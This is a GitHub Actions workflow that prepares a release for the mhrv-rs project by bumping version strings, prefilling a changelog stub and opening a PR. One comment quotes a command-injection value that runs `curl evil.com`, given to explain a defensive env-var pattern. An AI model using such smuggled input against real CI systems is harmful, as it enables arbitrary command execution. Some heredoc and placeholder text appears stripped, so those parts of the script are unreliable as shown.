# Prepare a new release: bump version strings, prefill the changelog # stub from release-drafter's draft, and open a PR. After the PR is # merged, you push the `v` tag manually and `release.yml` # takes over (matrix build → GitHub release → Telegram notify). # # Triggered manually from the Actions UI or via: # gh workflow run prepare-release.yml -f version=1.6.6 # # What it bumps in the PR: # - Cargo.toml version = "X.Y.Z" # - Cargo.lock mhrv-rs entry's version # - android/app/build.gradle.kts versionName = "X.Y.Z" # versionCode = previous + 1 # # What it leaves alone: # - tunnel-node/Cargo.toml — versioned independently from the app. # The docker tunnel image is tagged from the git release tag (not # from this Cargo.toml), so we don't need to touch it. # # What it prefills in docs/changelog/v.md: # - Persian section: an inline `[FA] translate ...` placeholder line. # Visible if not edited — ships into the release page as an obvious # marker rather than a quiet comment leak. # - Separator: `---` # - English section: bullets pulled from release-drafter's `next` # draft release, each suffixed with `: ` to remind you to # add an explanatory clause in the project's existing # `• headline (#NN): full explanation` style. If no draft exists # yet (e.g. immediately after installing release-drafter, before # any PRs have merged), the English section is empty and you fill # it in by hand. name: prepare-release on: workflow_dispatch: inputs: version: description: 'New version to release (without the leading v). Example: 1.6.6' required: true type: string permissions: contents: write pull-requests: write jobs: bump: runs-on: ubuntu-latest steps: # Always check out main, regardless of which branch the dispatch # was fired from. workflow_dispatch can be triggered from any ref; # without an explicit `ref:` the version bumps would land on top # of whatever branch the dispatcher had checked out, and the # resulting PR would carry that branch's diffs alongside the bumps. - uses: actions/checkout@v4 with: ref: main fetch-depth: 0 # need tag history for the duplicate-tag check below - name: Validate version id: ver env: # Pass the dispatch input through an env var rather than # `${{ inputs.version }}` interpolation. GitHub interpolates # the expression *before* the shell parses the script, so a # value like `1.0.0"; curl evil.com; echo "` would execute # before the regex check below ever ran. workflow_dispatch # is gated to write-access users so practical risk is low, # but this is the pattern GitHub's own docs recommend for # defense in depth. INPUT_VERSION: ${{ inputs.version }} run: | set -euo pipefail VER="$INPUT_VERSION" VER="${VER#v}" if ! [[ "$VER" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ ]]; then echo "::error::version '$VER' is not in X.Y.Z format" exit 1 fi if git rev-parse "v${VER}" >/dev/null 2>&1; then echo "::error::tag v${VER} already exists; pick a different version" exit 1 fi BRANCH="release/v${VER}" if git ls-remote --exit-code --heads origin "$BRANCH" >/dev/null 2>&1; then echo "::error::branch $BRANCH already exists on origin; delete it or pick a different version" exit 1 fi echo "version=${VER}" >> "$GITHUB_OUTPUT" echo "branch=${BRANCH}" >> "$GITHUB_OUTPUT" - name: Bump Cargo.toml + Cargo.lock env: NEW_VER: ${{ steps.ver.outputs.version }} run: | set -euo pipefail # Edit both files via Python so we anchor on the `name = "mhrv-rs"` # line and only touch the package's own version, not unrelated # `version = "..."` lines elsewhere in the lockfile. python3 <<'PY' import os, re, pathlib, sys ver = os.environ["NEW_VER"] for path in ("Cargo.toml", "Cargo.lock"): p = pathlib.Path(path) src = p.read_text() new = re.sub( r'(name = "mhrv-rs"\nversion = ")[0-9.]+(")', rf'\g<1>{ver}\g<2>', src, count=1, ) if new == src: sys.exit(f"ERROR: mhrv-rs version line not found in {path}") p.write_text(new) print(f"{path} -> {ver}") PY - name: Bump android versionName + versionCode env: NEW_VER: ${{ steps.ver.outputs.version }} run: | set -euo pipefail # versionCode increments by 1 on every release; versionName mirrors # the Cargo version. Both live in android/app/build.gradle.kts. python3 <<'PY' import os, re, pathlib, sys ver = os.environ["NEW_VER"] p = pathlib.Path("android/app/build.gradle.kts") src = p.read_text() m = re.search(r'versionCode\s*=\s*(\d+)', src) if not m: sys.exit("ERROR: versionCode not found in build.gradle.kts") old_code = int(m.group(1)) new_code = old_code + 1 src = src[:m.start(1)] + str(new_code) + src[m.end(1):] src, n = re.subn( r'versionName\s*=\s*"[^"]+"', f'versionName = "{ver}"', src, count=1, ) if n == 0: sys.exit("ERROR: versionName not found in build.gradle.kts") p.write_text(src) print(f"android/app/build.gradle.kts -> versionName={ver}, versionCode={old_code}->{new_code}") PY - name: Fetch release-drafter draft body id: draft env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: | set -euo pipefail # release-drafter accumulates merged-PR titles into a draft tagged # `next`. Pull its body for the changelog stub. `--repo` is set # explicitly so we always look up the release in this repo even # if a future maintainer ever creates a real `next` git tag in a # fork or upstream. If no draft exists yet (release-drafter just # installed, no PRs merged since), the `|| true` keeps us going # with an empty body — you fill the English section by hand. # `--jq 'select(.isDraft) | .body'` returns nothing if `next` is # not a draft (i.e. someone manually published a release with # tag `next`, or pushed a real `next` git tag with a release # attached). On that path we treat it as "no draft" and fall # through to the empty-body branch — better than echoing a # surprise release body into the changelog stub. BODY=$(gh release view next --repo "${{ github.repository }}" \ --json body,isDraft --jq 'select(.isDraft) | .body' 2>/dev/null || true) if [ -z "$BODY" ]; then echo "::notice::no release-drafter 'next' draft found; English section will be empty" else echo "::notice::pulled $(printf '%s' "$BODY" | wc -l) lines from draft release" fi # Multiline outputs need a heredoc-style delimiter — pick one that # cannot appear in a release-drafter bullet line. { echo 'body<<__DRAFT_BODY_EOF__' printf '%s\n' "$BODY" echo '__DRAFT_BODY_EOF__' } >> "$GITHUB_OUTPUT" - name: Write changelog stub env: NEW_VER: ${{ steps.ver.outputs.version }} DRAFT_BODY: ${{ steps.draft.outputs.body }} run: | set -euo pipefail # Build the file with shell `echo`/`printf` (not a YAML-level # heredoc with $-double-curly interpolation) so backticks, dollar # signs, or EOF tokens in the draft body can't break us. # # Why no TODO/instructional : # release.yml strips leading blocks from the # file before publishing the GitHub Release body, and the # Telegram script does the same — both via a regex that handles # multiple consecutive comments. But relying on stripping is # brittle: a maintainer adding a new comment with a different # shape (multi-line, indented, etc.) could leak it. Instead we # use VISIBLE placeholders below. If the maintainer forgets to # edit them, they ship as obvious `[FA]`/`` markers # that an admin will spot in the release page within seconds. mkdir -p docs/changelog OUT="docs/changelog/v${NEW_VER}.md" { echo '' echo '[FA] translate the English bullets below into Persian and replace this line.' echo '' echo '---' # Append the English section if release-drafter had any. # Skip the printf entirely on empty so we don't leave a # trailing blank line under `---`. if [ -n "$DRAFT_BODY" ]; then # Strip Conventional-Commit prefixes (`feat:`, `fix(android):`, # etc.) from the start of each bullet headline. PR titles in # this repo all carry these prefixes by convention, but the # existing changelog style is verb-first ("Add X" / "Fix Y"), # not type-first. Stripping here saves the maintainer one # manual step per bullet; they still need to fix the verb # tense (e.g. "added" → "Add") since GitHub PR titles tend # to be past-tense and the changelog convention is imperative. # # Bullet shape from release-drafter is: # • feat(scope): title text ([#NN](url)): . Thanks @user # After this sed: # • title text ([#NN](url)): . Thanks @user printf '%s\n' "$DRAFT_BODY" \ | sed -E 's/^(• )(feat|fix|chore|docs?|refactor|perf|test|build|ci|style|revert)(\([^)]*\))?!?: */\1/i' fi } > "$OUT" echo "wrote $OUT ($(wc -l < "$OUT") lines)" # No `Ensure release-prep label exists` step here — release-drafter's # workflow runs on every push to main, and its `Ensure autolabeler # labels exist` step creates `release-prep` (along with the type:* # labels). Since these workflow files only land via a push to main, # release-drafter's bootstrap necessarily runs before the first # prepare-release dispatch. If for some reason release-drafter is # disabled, `gh pr create --label release-prep` below will fail with # an actionable "label not found" — fix is to re-enable # release-drafter or run `gh label create release-prep` once by hand. - name: Commit, push, and open PR env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} NEW_VER: ${{ steps.ver.outputs.version }} BRANCH: ${{ steps.ver.outputs.branch }} run: | set -euo pipefail git config user.name "github-actions[bot]" git config user.email "41898282+github-actions[bot]@users.noreply.github.com" git checkout -b "$BRANCH" git add Cargo.toml Cargo.lock android/app/build.gradle.kts \ "docs/changelog/v${NEW_VER}.md" git commit -m "release: prepare v${NEW_VER}" git push -u origin "$BRANCH" # Write the PR body to a file rather than fight nested heredoc # escaping in the YAML run: block. # # IMPORTANT: this heredoc terminator (`MSG`) is INTENTIONALLY # unquoted so that ${NEW_VER} and ${BRANCH} expand. Backticks # in the body are escaped (\`) for the same reason. If you # paste anything into the template below, watch out for `$(...)` # and unescaped backticks — they will execute at workflow run # time. To add a static block that should NOT interpolate, build # it with a separate `<<'STATIC'` heredoc and concat afterward. cat > /tmp/pr-body.md <\` with a short explanatory clause matching the project's \`• headline (#NN): full explanation\` style. The Conventional-Commit prefix (\`feat:\`/\`fix:\`/etc.) and the trailing \`. Thanks @author\` are already handled. 3. Commit + push to this branch so the PR includes the final bilingual changelog. Any \`[FA]\` or \`\` markers left in the file will ship verbatim into the GitHub Release page and the Telegram post — they're intentionally visible, not hidden in HTML comments. **After merging — ship it:** 1. \`git checkout main && git pull\` 2. \`git tag v${NEW_VER} && git push origin v${NEW_VER}\` 3. \`release.yml\` picks up the tag, builds artifacts, creates the GitHub release, and (if enabled) posts to Telegram. MSG gh pr create \ --base main \ --head "$BRANCH" \ --title "release: prepare v${NEW_VER}" \ --label "release-prep" \ --body-file /tmp/pr-body.md